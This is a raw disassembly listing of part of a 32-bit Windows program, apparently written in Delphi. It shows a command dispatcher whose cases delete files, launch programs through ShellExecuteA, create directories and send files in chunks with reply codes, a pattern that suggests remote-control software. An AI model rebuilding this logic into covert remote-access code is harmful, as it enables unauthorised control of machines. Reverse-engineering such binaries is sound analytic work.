call fcn.004b0c18
test eax, eax
jne 0x4e48a2
push 0x7f
lea eax, [ebp - 0x280]
push eax
mov eax, dword [0x541b90]
mov eax, dword [eax]
call eax
test eax, eax
jne 0x4e4820
lea eax, [ebp - 0x7c]
lea edx, [ebp - 0x280]
mov ecx, 0x80
call fcn.00404820
mov dword [ebp - 0x50], 2
jmp 0x4e4811
lea edx, [ebp - 0x7c]
mov ecx, dword [ebp - 0x50]
mov eax, 0x4e8268
call fcn.00404b6c
add dword [ebp - 0x50], 2
mov eax, dword [ebp - 0x7c]
call fcn.0040488c
cmp eax, dword [ebp - 0x50]
jge 0x4e47fd
jmp 0x4e482d
lea eax, [ebp - 0x7c]
mov edx, 0x4e8330
call fcn.00404650
mov eax, dword [0x541644]
push dword [eax]
push 0x4e833c
push dword [ebp - 0x7c]
lea eax, [ebp - 0x7c]
mov edx, 3
call fcn.0040494c
push dword [ebp - 0x7c]
push 0x4e833c
lea edx, [ebp - 0x990]
mov eax, 0x85
call fcn.004ab980
mov eax, dword [ebp - 0x990]
push eax
lea edx, [ebp - 0x994]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x994]
pop edx
call fcn.0046cf18
lea edx, [ebp - 0x98c]
call fcn.004093f0
push dword [ebp - 0x98c]
lea eax, [ebp - 0x7c]
mov edx, 3
call fcn.0040494c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e48be
mov byte [0x540b78], 0
ret
lea edx, [ebp - 0x998]
mov eax, 0x84
call fcn.004ab980
mov eax, dword [ebp - 0x998]
push eax
lea edx, [ebp - 0x99c]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x99c]
pop edx
call fcn.0046ca64
fstp qword [ebp - 0x98]
wait
mov eax, dword [0x54a570]
call fcn.004df534
push eax
push 0
mov eax, dword [ebp - 0x7c]
push eax
mov eax, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
push eax
mov ecx, dword [ebp - 0x78]
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
jmp case.0x4e0bea.10
mov eax, dword [0x541950]
cmp dword [eax], 0
jne 0x4e4957
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
jmp case.0x4e0bea.10
mov dword [ebp - 0x84], 1
xor eax, eax
mov dword [ebp - 0x88], eax
cmp byte [0x540b78], 0
jne 0x4e4ac1
call fcn.004b0c18
test eax, eax
jne 0x4e4ac1
lea eax, [ebp - 0x7c]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
lea edx, [ebp - 0x9a0]
mov eax, dword [ebp - 0x7c]
call fcn.004df3bc
mov eax, dword [ebp - 0x9a0]
mov edx, dword [ebp - 0x7c]
call fcn.004049d0
je 0x4e49d8
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 0xff
je 0x4e4ac1
xor eax, eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x88], 1
jmp 0x4e4ac1
cmp byte [0x540b78], 0
jne 0x4e4ac1
xor eax, eax
push ebp
push 0x4e4aba
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x540b78], 1
lea edx, [ebp - 0x9a4]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x9a4]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e8304
pop eax
call fcn.0046ccf4
lea edx, [ebp - 0x9a8]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x9a8]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e8318
pop eax
call fcn.0046ccf4
push 1
lea eax, [ebp - 0x9ac]
call fcn.00471cb0
mov eax, dword [ebp - 0x9ac]
call fcn.00404a84
push eax
push 1
push 1
lea eax, [ebp - 0x7c]
call fcn.00404adc
push eax
mov eax, dword [0x54181c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
je 0x4e4aa5
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 0xff
je 0x4e4aa5
xor eax, eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x88], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e4ac1
mov byte [0x540b78], 0
ret
mov eax, dword [ebp - 0x88]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x84]
mov edx, 0xb1
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
cmp dword [ebp - 0x88], 1
jne case.0x4e0bea.10
mov edx, 5
xor eax, eax
call fcn.004f58ec
jmp case.0x4e0bea.10
mov eax, dword [0x541950]
cmp dword [eax], 0
jne 0x4e4b28
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
jmp case.0x4e0bea.10
mov dword [ebp - 0x84], 1
xor eax, eax
mov dword [ebp - 0x88], eax
cmp byte [0x540b78], 0
jne 0x4e4dd7
call fcn.004b0c18
test eax, eax
jne 0x4e4dd7
lea eax, [ebp - 0x7c]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
lea edx, [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
call fcn.004df46c
test al, al
je 0x4e4dd7
lea edx, [ebp - 0x9b0]
mov eax, dword [ebp - 0x7c]
call fcn.004df3bc
mov eax, dword [ebp - 0x9b0]
mov edx, dword [ebp - 0x7c]
call fcn.004049d0
je 0x4e4d05
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 0xff
je 0x4e4dd7
lea edx, [ebp - 0x9b4]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x9b4]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e8304
pop eax
call fcn.0046ccf4
lea edx, [ebp - 0x9b8]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x9b8]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e8318
pop eax
call fcn.0046ccf4
cmp dword [ebp - 0x80], 0
je 0x4e4c38
push 0
lea eax, [ebp - 0x9bc]
call fcn.00471cb0
mov eax, dword [ebp - 0x9bc]
call fcn.00404a84
push eax
push 1
push 1
lea eax, [ebp - 0x80]
call fcn.00404adc
push eax
mov eax, dword [0x54181c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
jmp 0x4e4c40
xor eax, eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4e4dd7
push 0
lea eax, [ebp - 0x9c0]
call fcn.00471cb0
mov eax, dword [ebp - 0x9c0]
call fcn.00404a84
push eax
push 2
push 1
lea eax, [ebp - 0x7c]
call fcn.00404adc
push eax
mov eax, dword [0x54181c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4e4dd7
mov eax, dword [0x5418f4]
cmp byte [eax], 0
je 0x4e4cf6
lea eax, [ebp - 0x9c4]
mov edx, dword [0x5418f4]
mov dl, byte [edx]
call fcn.00404798
mov eax, dword [ebp - 0x9c4]
mov edx, dword [ebp - 0x7c]
call fcn.00404bc8
test eax, eax
jle 0x4e4cf6
lea edx, [ebp - 0x9c8]
mov eax, 0x85
call fcn.004ab980
mov eax, dword [ebp - 0x9c8]
push eax
lea edx, [ebp - 0x9cc]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x9cc]
mov ecx, 1
pop edx
call fcn.0046ccf4
mov dword [ebp - 0x88], 1
jmp 0x4e4dd7
cmp byte [0x540b78], 0
jne 0x4e4dca
xor eax, eax
push ebp
push 0x4e4dc3
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x540b78], 1
lea edx, [ebp - 0x9d0]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x9d0]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e8304
pop eax
call fcn.0046ccf4
lea edx, [ebp - 0x9d4]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x9d4]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e8318
pop eax
call fcn.0046ccf4
push 1
lea eax, [ebp - 0x9d8]
call fcn.00471cb0
mov eax, dword [ebp - 0x9d8]
call fcn.00404a84
push eax
push 2
push 1
lea eax, [ebp - 0x7c]
call fcn.00404adc
push eax
mov eax, dword [0x54181c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e4dca
mov byte [0x540b78], 0
ret
cmp dword [ebp - 0x84], 0
jne 0x4e4b9c
mov eax, dword [ebp - 0x88]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x84]
mov edx, 0xb3
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
cmp dword [ebp - 0x88], 1
jne case.0x4e0bea.10
mov eax, dword [0x54045c]
xor edx, edx
call fcn.00404fc8
je 0x4e4e20
mov eax, dword [0x54045c]
call fcn.00404ea0
push eax
call sub.kernel32.dll_DeleteFileW
mov edx, 5
xor eax, eax
call fcn.004f58ec
jmp case.0x4e0bea.10
mov eax, dword [0x541950]
cmp dword [eax], 0
jne 0x4e4e5c
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
jmp case.0x4e0bea.10
lea eax, [ebp - 0x7c]
mov edx, dword [0x541644]
mov edx, dword [edx]
call fcn.00404650
lea edx, [ebp - 0x9dc]
mov eax, dword [ebp - 0x7c]
call fcn.004df3bc
call fcn.004b0adc
test eax, eax
jne 0x4e4fac
cmp dword [ebp - 0x7c], 0
je 0x4e4fac
mov dword [ebp - 0x84], 1
lea eax, [ebp - 0x9e0]
mov edx, dword [ebp - 0x2c]
mov dl, byte [edx + 0x20]
call fcn.00404798
mov eax, dword [ebp - 0x9e0]
mov edx, dword [ebp - 0x7c]
call fcn.00404bc8
test eax, eax
jle 0x4e4f9f
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0x21], 0
jne 0x4e4f9f
cmp byte [0x540b78], 0
jne 0x4e4f9f
xor eax, eax
push ebp
push 0x4e4f98
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x540b78], 1
call fcn.004b0c18
test eax, eax
jne 0x4e4f83
lea edx, [ebp - 0x9e4]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x9e4]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e8304
pop eax
call fcn.0046ccf4
lea edx, [ebp - 0x9e8]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x9e8]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e8318
pop eax
call fcn.0046ccf4
push 1
lea eax, [ebp - 0x9ec]
call fcn.00471cb0
mov eax, dword [ebp - 0x9ec]
call fcn.00404a84
push eax
push 0
push 1
mov eax, dword [ebp - 0x2c]
add eax, 0x20
push eax
mov eax, dword [0x54181c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e4f9f
mov byte [0x540b78], 0
ret
cmp dword [ebp - 0x84], 0
je case.0x4e0bea.60
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xb2
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
jmp case.0x4e0bea.10
mov eax, dword [0x541950]
cmp dword [eax], 0
jne 0x4e4ff1
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
jmp case.0x4e0bea.10
lea eax, [ebp - 0x7c]
mov edx, dword [0x541644]
mov edx, dword [edx]
call fcn.00404650
lea edx, [ebp - 0x9f0]
mov eax, dword [ebp - 0x7c]
call fcn.004df3bc
call fcn.004b0adc
test eax, eax
jne 0x4e5141
cmp dword [ebp - 0x7c], 0
je 0x4e5141
mov dword [ebp - 0x84], 1
lea eax, [ebp - 0x9f4]
mov edx, dword [ebp - 0x2c]
mov dl, byte [edx + 0x20]
call fcn.00404798
mov eax, dword [ebp - 0x9f4]
mov edx, dword [ebp - 0x7c]
call fcn.00404bc8
test eax, eax
jle 0x4e5134
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0x21], 0
jne 0x4e5134
cmp byte [0x540b78], 0
jne 0x4e5134
xor eax, eax
push ebp
push 0x4e512d
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x540b78], 1
call fcn.004b0c18
test eax, eax
jne 0x4e5118
lea edx, [ebp - 0x9f8]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x9f8]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e8304
pop eax
call fcn.0046ccf4
lea edx, [ebp - 0x9fc]
mov eax, 0x11a
call fcn.004ab980
mov eax, dword [ebp - 0x9fc]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e8318
pop eax
call fcn.0046ccf4
push 1
lea eax, [ebp - 0xa00]
call fcn.00471cb0
mov eax, dword [ebp - 0xa00]
call fcn.00404a84
push eax
push 0
push 3
mov eax, dword [ebp - 0x2c]
add eax, 0x20
push eax
mov eax, dword [0x54181c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e5134
mov byte [0x540b78], 0
ret
cmp dword [ebp - 0x84], 0
je case.0x4e0bea.60
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xb2
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
jmp case.0x4e0bea.10
mov dl, 1
mov eax, dword [0x414c40]
call fcn.0040377c
mov esi, eax
mov edx, 0x4e8348
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e8368
mov eax, dword [0x541c9c]
push dword [eax]
push 0x4e8378
lea eax, [ebp - 0xa04]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa04]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e8368
mov eax, dword [0x541c9c]
push dword [eax]
push 0x4e8388
lea eax, [ebp - 0xa08]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa08]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e8368
mov eax, dword [0x541c9c]
push dword [eax]
push 0x4e8398
lea eax, [ebp - 0xa0c]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa0c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0xa10]
mov eax, 0xf9
call fcn.004ab980
mov ecx, dword [ebp - 0xa10]
mov edx, dword [0x541c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x90]
call fcn.004048d8
lea eax, [ebp - 0xa14]
mov edx, dword [ebp - 0x90]
call fcn.00404e90
mov eax, dword [ebp - 0xa14]
push eax
push esi
call fcn.0046e088
push 0x4e83a8
push dword [ebp - 0x90]
push 0x4e83a8
lea eax, [ebp - 0x90]
mov edx, 3
call fcn.0040494c
mov eax, esi
call fcn.004037ac
call fcn.004dff10
xor edx, edx
mov eax, 3
call fcn.004dff30
push 0
push 0
push 0
mov eax, dword [ebp - 0x90]
call fcn.00404a84
push eax
push 0x4e82a0
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4e0bea.10
mov dl, 1
mov eax, dword [0x414c40]
call fcn.0040377c
mov esi, eax
mov edx, 0x4e8348
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e8368
lea eax, [ebp - 0xa1c]
mov edx, dword [0x54a56c]
mov dl, byte [edx]
call fcn.00404798
push dword [ebp - 0xa1c]
push 0x4e83b4
lea eax, [ebp - 0xa18]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa18]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e8368
push dword [0x54a56c]
push 0x4e83c8
lea eax, [ebp - 0xa20]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa20]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e8368
push dword [0x54a56c]
push 0x4e83e0
lea eax, [ebp - 0xa24]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa24]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e8368
mov eax, dword [0x541c9c]
push dword [eax]
push 0x4e8398
lea eax, [ebp - 0xa28]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa28]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0xa2c]
mov eax, 0xf9
call fcn.004ab980
mov ecx, dword [ebp - 0xa2c]
mov edx, dword [0x541c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x90]
call fcn.004048d8
lea eax, [ebp - 0xa30]
mov edx, dword [ebp - 0x90]
call fcn.00404e90
mov eax, dword [ebp - 0xa30]
push eax
push esi
call fcn.0046e088
push 0x4e83a8
push dword [ebp - 0x90]
push 0x4e83a8
lea eax, [ebp - 0x90]
mov edx, 3
call fcn.0040494c
mov eax, esi
call fcn.004037ac
push 0
push 0
push 0
mov eax, dword [ebp - 0x90]
call fcn.00404a84
push eax
push 0x4e82a0
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x2f0]
xor edx, edx
call fcn.004738c0
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cc48
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004efcd0
jmp case.0x4e0bea.10
lea edx, [ebp - 0xa34]
mov eax, 0xfa
call fcn.004ab980
mov eax, dword [ebp - 0xa34]
push eax
lea edx, [ebp - 0xa38]
mov eax, 0xae
call fcn.004ab980
mov eax, dword [ebp - 0xa38]
push eax
lea eax, [ebp - 0xa3c]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov ecx, dword [ebp - 0xa3c]
pop eax
pop edx
call fcn.0046c3a4
jmp case.0x4e0bea.10
cmp dword [0x5403a8], 0x52503ff
jb case.0x4e0bea.10
cmp byte [0x540b70], 0
jne case.0x4e0bea.10
xor eax, eax
push ebp
push 0x4e58e1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x54a644], eax
mov eax, dword [0x54a644]
add eax, 0x5b
cmp eax, dword [0x54a6d8]
jae 0x4e5508
push 0
push 0x3e8
mov eax, dword [0x540338]
mov edx, dword [0x54033c]
call fcn.00405968
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4e5508
cmp eax, 0
je 0x4e58cc
mov byte [0x540b70], 1
lea edx, [ebp - 0xa0]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
lea eax, [ebp - 0xa0]
call fcn.004db6bc
lea eax, [ebp - 0xc8]
mov edx, dword [ebp - 0xa0]
call fcn.00404650
mov eax, dword [ebp - 0xa0]
call fcn.0040488c
cmp eax, 3
jge 0x4e555b
mov eax, 0x540b68
call fcn.004045b8
jmp 0x4e5890
mov eax, dword [ebp - 0xa0]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x54a914], al
mov eax, dword [ebp - 0xa0]
cmp byte [eax + 1], 0x3a
jne 0x4e55ea
mov al, byte [0x54a914]
call fcn.0046b9d8
test al, al
je 0x4e55ea
mov al, byte [0x54a914]
call fcn.004b0b08
test eax, eax
jne 0x4e55ea
lea edx, [ebp - 0xa40]
mov al, byte [0x54a914]
call fcn.004b0d04
mov edx, dword [ebp - 0xa40]
mov eax, 0x540b68
call fcn.0040460c
lea eax, [ebp - 0xa44]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0xa0]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa44]
lea eax, [ebp - 0xa0]
mov edx, dword [0x540b68]
call fcn.004048d8
jmp 0x4e55f4
mov eax, 0x540b68
call fcn.004045b8
mov eax, dword [ebp - 0xa0]
call fcn.00462eb4
test al, al
je 0x4e5890
push 0
push 0
mov eax, dword [ebp - 0xc8]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xdf
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a810]
call fcn.0046aa98
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4edff4
mov eax, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4ee240
mov eax, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4ee878
mov eax, dword [ebp - 0xd0]
add eax, 0x40
mov edx, dword [ebp - 0xa0]
call fcn.0040460c
mov eax, dword [ebp - 0xd0]
mov byte [eax + 0x71], 0
mov dl, 1
mov eax, dword [0x47089c]
call fcn.0040377c
mov dword [0x54a8fc], eax
push 0
push 0x20
mov eax, dword [0x54a8fc]
call fcn.004197b4
push 0
push 0x20
mov eax, dword [0x54a8fc]
call fcn.00419750
mov eax, dword [ebp - 0xd0]
mov dword [eax + 0xc], 2
xor eax, eax
push ebp
push 0x4e5889
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd0]
call fcn.0046ab4c
mov eax, dword [0x54a8fc]
call fcn.00419764
cmp edx, 0
jne 0x4e56fe
cmp eax, 0x20
jbe 0x4e5848
jmp 0x4e5704
jle 0x4e5848
mov eax, dword [0x54a8fc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xd], 0xc
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xc], 0xe8
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xe], 0
mov eax, dword [0x54a8fc]
call fcn.00419764
mov edx, dword [ebp - 0x2c]
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [0x54a6d8]
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [eax + 0x1c], edx
mov eax, dword [ebp - 0x2c]
call fcn.004eda04
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 4]
mov dword [ebp - 0xac], eax
lea eax, [ebp - 0x7a0]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xd], 0xc
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xc], 0xf2
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xe], 0
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [eax + 0x1c], edx
push 0
push 0
mov eax, dword [0x54a8fc]
call fcn.00419750
xor ebx, ebx
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x14], ebx
inc ebx
mov eax, dword [ebp - 0xac]
cdq
push edx
push eax
mov eax, dword [0x54a8fc]
call fcn.00419730
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
cmp edx, 0
jne 0x4e57cb
cmp eax, 0x500
jbe 0x4e57d4
jmp 0x4e57cd
jle 0x4e57d4
mov esi, 0x500
jmp 0x4e57e6
mov eax, dword [0x54a8fc]
call fcn.00419730
mov esi, dword [ebp - 0xac]
sub esi, eax
mov eax, dword [ebp - 0x2c]
lea edx, [eax + 0x20]
mov ecx, esi
mov eax, dword [0x54a8fc]
mov edi, dword [eax]
call dword [edi + 8]
mov eax, dword [0x54a8fc]
call fcn.00419730
mov edx, dword [ebp - 0xac]
sub edx, eax
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x18], edx
add esi, 0x20
mov eax, dword [ebp - 0x2c]
mov dword [eax + 4], esi
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
call fcn.004dd768
test al, al
je 0x4e5866
test bl, 0xf
jne 0x4e5839
mov eax, dword [0x541b3c]
mov eax, dword [eax]
call fcn.00449374
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x18], 0
jne 0x4e579a
jmp 0x4e5866
push 0
push 0
mov eax, dword [ebp - 0xc8]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e58af
mov eax, dword [0x54a8fc]
call fcn.004037ac
mov eax, dword [ebp - 0xd0]
call fcn.004037ac
ret
push 0
push 0
mov eax, dword [ebp - 0xc8]
push eax
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
cmp dword [0x540b68], 0
je 0x4e58cc
mov eax, 0x540b68
call fcn.004045b8
mov al, byte [0x54a914]
call fcn.004b0e88
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4e0bea.10
mov byte [0x540b70], 0
ret
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
lea eax, [ebp - 0x3c]
call fcn.004db6bc
mov eax, dword [ebp - 0x3c]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x54a914], al
mov eax, dword [ebp - 0x3c]
cmp byte [eax + 1], 0x3a
jne 0x4e5981
mov al, byte [0x54a914]
call fcn.0046b9d8
test al, al
je 0x4e5981
mov al, byte [0x54a914]
call fcn.004b0b08
test eax, eax
jne 0x4e5981
lea edx, [ebp - 0xa48]
mov al, byte [0x54a914]
call fcn.004b0d04
mov edx, dword [ebp - 0xa48]
mov eax, 0x540b68
call fcn.0040460c
lea eax, [ebp - 0xa4c]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0x3c]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa4c]
lea eax, [ebp - 0x3c]
mov edx, dword [0x540b68]
call fcn.004048d8
jmp 0x4e598b
mov eax, 0x540b68
call fcn.004045b8
push 0
lea eax, [ebp - 0x3c]
call fcn.00404adc
push eax
call sub.kernel32.dll_CreateDirectoryA
cmp eax, 1
sbb ebx, ebx
inc ebx
cmp dword [0x540b68], 0
je 0x4e59be
mov eax, 0x540b68
call fcn.004045b8
mov al, byte [0x54a914]
call fcn.004b0e88
push 0
push 0
lea edx, [ebp - 0xa50]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov eax, dword [ebp - 0xa50]
push eax
push 0
push 0
xor ecx, ecx
mov cl, bl
mov edx, 0xbd
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
jmp case.0x4e0bea.10
cmp byte [0x540b74], 0
jne case.0x4e0bea.10
xor eax, eax
push ebp
push 0x4e5ca5
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x540b74], 1
mov dl, 1
mov eax, dword [0x414c40]
call fcn.0040377c
mov dword [ebp - 0x9c], eax
lea edx, [ebp - 0xa54]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov edx, dword [ebp - 0xa54]
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xa0]
xor edx, edx
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0xa0]
call fcn.004db6bc
mov eax, dword [ebp - 0xa0]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x54a914], al
mov eax, dword [ebp - 0xa0]
cmp byte [eax + 1], 0x3a
jne 0x4e5af7
mov al, byte [0x54a914]
call fcn.0046b9d8
test al, al
je 0x4e5af7
mov al, byte [0x54a914]
call fcn.004b0b08
test eax, eax
jne 0x4e5af7
lea edx, [ebp - 0xa58]
mov al, byte [0x54a914]
call fcn.004b0d04
mov edx, dword [ebp - 0xa58]
mov eax, 0x540b68
call fcn.0040460c
lea eax, [ebp - 0xa5c]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0xa0]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa5c]
lea eax, [ebp - 0xa0]
mov edx, dword [0x540b68]
call fcn.004048d8
jmp 0x4e5b01
mov eax, 0x540b68
call fcn.004045b8
mov eax, dword [ebp - 0x9c]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jle 0x4e5c40
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x50], 1
lea ecx, [ebp - 0xa60]
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0xa60]
lea eax, [ebp - 0x3c]
mov edx, dword [ebp - 0xa0]
call fcn.004048d8
mov eax, dword [ebp - 0x3c]
call fcn.0046dddc
test al, al
je 0x4e5b70
mov eax, dword [ebp - 0x3c]
call fcn.004f929c
mov edx, 2
mov eax, dword [ebp - 0x3c]
call fcn.004daa54
jmp 0x4e5c31
mov ecx, dword [ebp - 0x28]
